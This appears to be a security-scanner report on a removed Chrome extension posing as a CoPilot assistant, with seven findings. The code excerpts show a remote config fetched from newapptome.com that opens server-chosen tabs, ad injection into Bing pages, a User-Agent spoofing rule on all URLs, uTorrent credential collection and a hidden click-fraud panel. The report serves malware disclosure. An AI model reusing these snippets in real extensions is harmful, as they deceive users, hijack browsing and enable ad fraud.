CoPilot™ Extensions For Chrome

CoPilot™ Extensions For Chrome

ID: eodojedcgoicpkfcjkhghafoadllibab

Supported Languages

🇸🇦Arabic
🇧🇩Bengali
🇧🇷Brazilian Portuguese
🇬🇧British English
🇧🇬Bulgarian
🇪🇸Catalan
🇨🇳Chinese (Simplified)
🇹🇼Chinese (Traditional)
🇭🇷Croatian
🇨🇿Czech
🇩🇰Danish
🇳🇱Dutch
🇺🇸English
🇪🇪Estonian
🇫🇮Finnish
🇫🇷French
🇩🇪German
🇬🇷Greek
🇮🇳Gujarati
🇮🇱Hebrew
🇮🇳Hindi
🇭🇺Hungarian
🇮🇩Indonesian
🇮🇹Italian
🇯🇵Japanese
🇮🇳Kannada
🇰🇷Korean
🇱🇻Latvian
🇱🇹Lithuanian
🇮🇳Marathi
🇳🇴Norwegian
🇮🇷Persian
🇵🇱Polish
🇵🇹Portuguese
🇷🇴Romanian
🇷🇺Russian
🇷🇸Serbian
🇸🇰Slovak
🇸🇮Slovenian
🇪🇸Spanish
🇰🇪Swahili
🇸🇪Swedish
🇮🇳Tamil
🇮🇳Telugu
🇹🇭Thai
🇹🇷Turkish
🇺🇦Ukrainian
🇺🇸US English
🇻🇳Vietnamese

Extension Info & Metadata

Status
Removed
Version
0.0.2
Size
0.73 MB
Rating
4.2/5
Reviews
37
Users
30,000
Type
Extension
Updated
Apr 8, 2025
Category
Productivity Developer
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
Bing AIView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
2
Active
0
Obsolete
2
Listed
2
Unlisted
0
Total Users
33,000
Screenshot 1

Use new AI in Chrome. CoPilot™ Extensions For Chrome

CoPilot™ AI is now more easily accessible via Chrome. After installing the plugin, you can start using it immediately. The plugin does not require membership With this add-on, you can access CoPilot™ without closing your work. Use new AI in Chrome. CoPilot™ Extensions For Chrome

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 20% increase: Access to sensitive domains increases potential impact
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
https://*.bing.com/*
Host
Medium
Host permission — access limited to this URL pattern.
https://newapptome.com/*
Host
Medium
Host permission — access limited to this URL pattern.
Access to Sensitive Domains
Risk Factor
Medium
This extension requests access to sensitive domains: https://*.bing.com/*
commands
Permission
Unknown
No classification available for this permission.

On every browser startup, the extension fetches a remote config from newapptome.com (a domain unrelated to the stated CoPilot purpose) that supplies an arbitrary URL and counter threshold. When the counter reaches the server-controlled threshold, it silently opens a new browser tab at the remote URL. The same URL is also opened immediately on first install if InstallOpenSite is set. This is a server-controlled adware tab-injection mechanism — the operator can change the destination URL at any time to redirect 30,000 users anywhere.

background.js (Line 50)
function o() {  return t(this, void 0, void 0, (function*() {    const t = yield fetch("https://newapptome.com/SiteSettingsCopilot.json")      .then((t => t.ok ? t.json() : Promise.reject("Cannot connect to the server, status: " + t.status)))      .then((t => t.error ? Promise.reject(t.error) : t));    "error" == t.status || (chrome.storage.local.set({        details: t      }), console.log(t), n.link = t.link, n.count = t.count, n.InstallOpenSite = t.InstallOpenSite, n      .AfterOpenSite = t.AfterOpenSite)  }))}chrome.runtime.setUninstallURL && chrome.runtime.setUninstallURL(n.link), chrome.runtime.onInstalled  .addListener((e => t(this, void 0, void 0, (function*() {    switch (e.reason) {      case "install":        yield o();        var t = 1;        return yield chrome.storage.local.set({          CoPilotCount: t        }), 1 == n.InstallOpenSite && chrome.tabs.create({          url: n.link        }), chrome.storage.sync.set({          installDate: Date.now(),          installVersion: chrome.runtime.getManifest().version        });      case "update":        return t = 1, yield chrome.storage.local.set({          CoPilotCount: t        }), 1 == n.InstallOpenSite && chrome.tabs.create({          url: n.link        }), chrome.storage.sync.set({          updateDate: Date.now()        })    }  }))));chrome.runtime.onStartup.addListener((() => t(this, void 0, void 0, (function*() {  yield o(), yield function() {    return t(this, void 0, void 0, (function*() {      if (1 != n.AfterOpenSite) return;      let t = yield i("CoPilotCount");      t = Number(t) + 1;      var e = t;      e > n.count && (e = 0, chrome.tabs.create({        url: n.link      })), yield chrome.storage.local.set({        CoPilotCount: e      })    }))  }()}))))

On every browser startup the extension increments a persistent counter and opens a new tab to the remote-server-supplied URL when the counter exceeds a server-defined threshold, then resets. This implements a cadenced tab-hijacking loop that fires on every N browser starts with a destination the server operator controls remotely. This is adware behavior not mentioned anywhere in the CWS listing or privacy policy.

background.js (Line 98)
chrome.runtime.onStartup.addListener((() => t(this, void 0, void 0, (function*() {  yield o(), yield function() {    return t(this, void 0, void 0, (function*() {      if (1 != n.AfterOpenSite) return;      let t = yield i("CoPilotCount");      t = Number(t) + 1;      var e = t;      e > n.count && (e = 0, chrome.tabs.create({        url: n.link      })), yield chrome.storage.local.set({        CoPilotCount: e      }, (() => {        console.log("install CoPilotCount: " + e)      }))    }))  }()}))))

The bundled manifest declares declarativeNetRequest and host_permissions for newapptome.com, while the live CWS-published manifest declares scripting, notifications, and alarms instead — with web_accessible_resources matching <all_urls>. This significant mismatch between the installed ZIP and the published manifest indicates the publisher submitted a different version to Google's review than what users received, a common evasion tactic to pass review while shipping broader capabilities.

manifest.json (Line 1)
{  "permissions": [    "storage",    "declarativeNetRequest",    "commands"  ],  "host_permissions": [    "https://*.bing.com/*",    "https://newapptome.com/*"  ],  "declarative_net_request": {    "rule_resources": [      {        "enabled": true,        "id": "modify_ua_header",        "path": "rules.json"      }    ]  }}

The content script injected into bing.com search pages inserts an unsolicited advertisement for chathub.gg — a competitor service — directly into the Bing AI conversation container. This injection is not disclosed in the extension's CWS listing and serves the interests of a third party rather than the user. It matches the user-review complaints about 'intrusive marketing pop-ups.'

contentScript.js (Line 1)
(() => {  if (!localStorage.getItem("hide-chathub-notice")) {    const e = document.querySelector("#b_sydConvCont"),      t = document.createElement("div");    t.innerHTML =      "<p>Checkout <a href='https://chathub.gg' target='_blank'>ChatHub.gg</a> : use ChatGPT and new Bing side by side. (<span style='text-decoration: underline; cursor: pointer' id='hide-chathub-notice'>close</span>)</p>",      e.appendChild(t), document.getElementById("hide-chathub-notice")      .addEventListener("click", (() => {        localStorage.setItem("hide-chathub-notice", JSON.stringify(!0)), t.remove()      }))  }})();

The declarativeNetRequest rule silently replaces the User-Agent and sec-ch-ua headers with Microsoft Edge identifiers on ALL URLs (urlFilter: "*") for every main-frame navigation and every WebSocket connection, not just bing.com. This causes every website the user visits to believe they are using Edge rather than Chrome, which can bypass browser-sniffing security controls, defeat fraud-detection systems that rely on consistent UA strings, and constitutes identity spoofing across the entire browser session without disclosure.

rules.json (Line 1)
[  {    "id": 1,    "priority": 1,    "action": {      "type": "modifyHeaders",      "requestHeaders": [        {          "header": "user-agent",          "operation": "set",          "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41"        },        {          "header": "sec-ch-ua",          "operation": "set",          "value": "\"Microsoft Edge\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111\""        }      ]    },    "condition": {      "urlFilter": "*",      "resourceTypes": [        "main_frame",        "websocket"      ]    }  }]

The options page (titled 'uTorrent For Chrome' despite this extension being listed as a CoPilot assistant) collects uTorrent Web API username and password and stores them in chrome.storage.local under txtUserValue and txtPassValue. This functionality is completely absent from the CWS listing, has no disclosed purpose, and exposes users who stumble into the options page to credential harvesting into extension-accessible storage — other extension code can read these values.

options.js (Line 447)
r.createElement(d.Z, {id: "outlined-basic",label: "uTorrent web API user",variant: "outlined",value: n,onChange: e => {  var t;  o(e.target.value), t = e.target.value, new Promise((e => {    const n = {      txtUserValue: t    };    chrome.storage.local.set(n, (() => {      e()    }))  }))}})), r.createElement(Y, {      xs: 4    }, r.createElement(J, null, " ", r.createElement(d.Z, {      id: "outlined-basic",      label: "uTorrent web API password",      variant: "outlined",      value: a,      onChange: e => {        var t;        l(e.target.value), t = e.target.value, new Promise((e => {          const n = {            txtPassValue: t          };          chrome.storage.local.set(n, (() => {            e()          }))        }))      }    }))

The popup contains a hidden 'Human Search' panel labeled 'You can Click Search Result For Organic Search' with Start/Stop controls that send a 'uid' message with a configurable repeat count to the background script. This is characteristic of automated SEO click-fraud tools that simulate human clicks on search results to artificially inflate organic-search rankings. The feature is completely hidden from the CWS listing and has no legitimate use in a CoPilot assistant extension.

popup.js (Line 61)
n.createElement(f.Z, {  variant: "subtitle1",  gutterBottom: !0}, "Human Search"), n.createElement(f.Z, {  variant: "subtitle2",  gutterBottom: !0}, "You can Click Search Result For Organic Search      "), n.createElement(d.Z, {  id: "outlined-basic",  label: "Repeat",  variant: "outlined",  value: e,  onChange: e => {    var r;    t(e.target.value), r = e.target.value, new Promise((e => {      const t = {        txtrepeatCount: r      };      chrome.storage.local.set(t, (() => {        e()      }))    }))  }}), n.createElement(l.Z, {  spacing: 2,  direction: "row"}, n.createElement(u.Z, {  variant: "contained",  color: "success",  onClick: () => {    chrome.runtime.sendMessage({      text: "uid",      repeat: e    }, (function(e) {}))  }}, "Start"), n.createElement(u.Z, {  variant: "outlined",  color: "error",  onClick: () => {    chrome.runtime.sendMessage({      text: "stop"    }, (function(e) {}))  }}, "Stop")),

By severity

Critical3
High4
Medium0
Low0

Versions scanned

Showing 1 of 11 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
0.0.27

Files with findings

6 distinct paths — top paths by unique finding count:

  • background.js2
  • contentScript.js1
  • manifest.json1
  • options.js1
  • popup.js1
  • rules.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Other
critical
background.js (line 50)On every browser startup, the extension fetches a remote config from newapptome.com (a domain unrelated to the stated CoPilot purpose) that supplies an arbitrary URL and counter threshold. When the counter reaches the…
2Other
critical
manifest.json (line 1)The bundled manifest declares declarativeNetRequest and host_permissions for newapptome.com, while the live CWS-published manifest declares scripting, notifications, and alarms instead — with web_accessible_resources …
3Tracking
critical
background.js (line 98)On every browser startup the extension increments a persistent counter and opens a new tab to the remote-server-supplied URL when the counter exceeds a server-defined threshold, then resets. This implements a cadenced…
4Code Injection
high
contentScript.js (line 1)The content script injected into bing.com search pages inserts an unsolicited advertisement for chathub.gg — a competitor service — directly into the Bing AI conversation container. This injection is not disclosed in …
5Credential Theft
high
options.js (line 447)The options page (titled 'uTorrent For Chrome' despite this extension being listed as a CoPilot assistant) collects uTorrent Web API username and password and stores them in chrome.storage.local under txtUserValue and…
6Other
high
rules.json (line 1)The declarativeNetRequest rule silently replaces the User-Agent and sec-ch-ua headers with Microsoft Edge identifiers on ALL URLs (urlFilter: "*") for every main-frame navigation and every WebSocket connection, not ju…
7Other
high
popup.js (line 61)The popup contains a hidden 'Human Search' panel labeled 'You can Click Search Result For Organic Search' with Start/Stop controls that send a 'uid' message with a configurable repeat count to the background script. T…
URLs
16
IPv4
1
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

mui.com/production-error/https://mui.com/production-error/?code=
reactjs.org/docs/error-decoder.htmlhttps://reactjs.org/docs/error-decoder.html?invariant=
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
www.w3.org/XML/1998/namespacehttp://www.w3.org/XML/1998/namespace
www.w3.org/1999/xhtmlhttp://www.w3.org/1999/xhtml
www.w3.org/1998/Math/MathMLhttp://www.w3.org/1998/Math/MathML
www.w3.org/2000/svghttp://www.w3.org/2000/svg
reactjs.org/link/react-polyfillshttps://reactjs.org/link/react-polyfills
www.bing.com/searchhttps://www.bing.com/search?q=Bing+AI&showconv=1
newapptome.com/SiteSettingsCopilot.jsonhttps://newapptome.com/SiteSettingsCopilot.json
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

110.0.0.0
IPv4
-
Showing 1 to 10 of 20 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.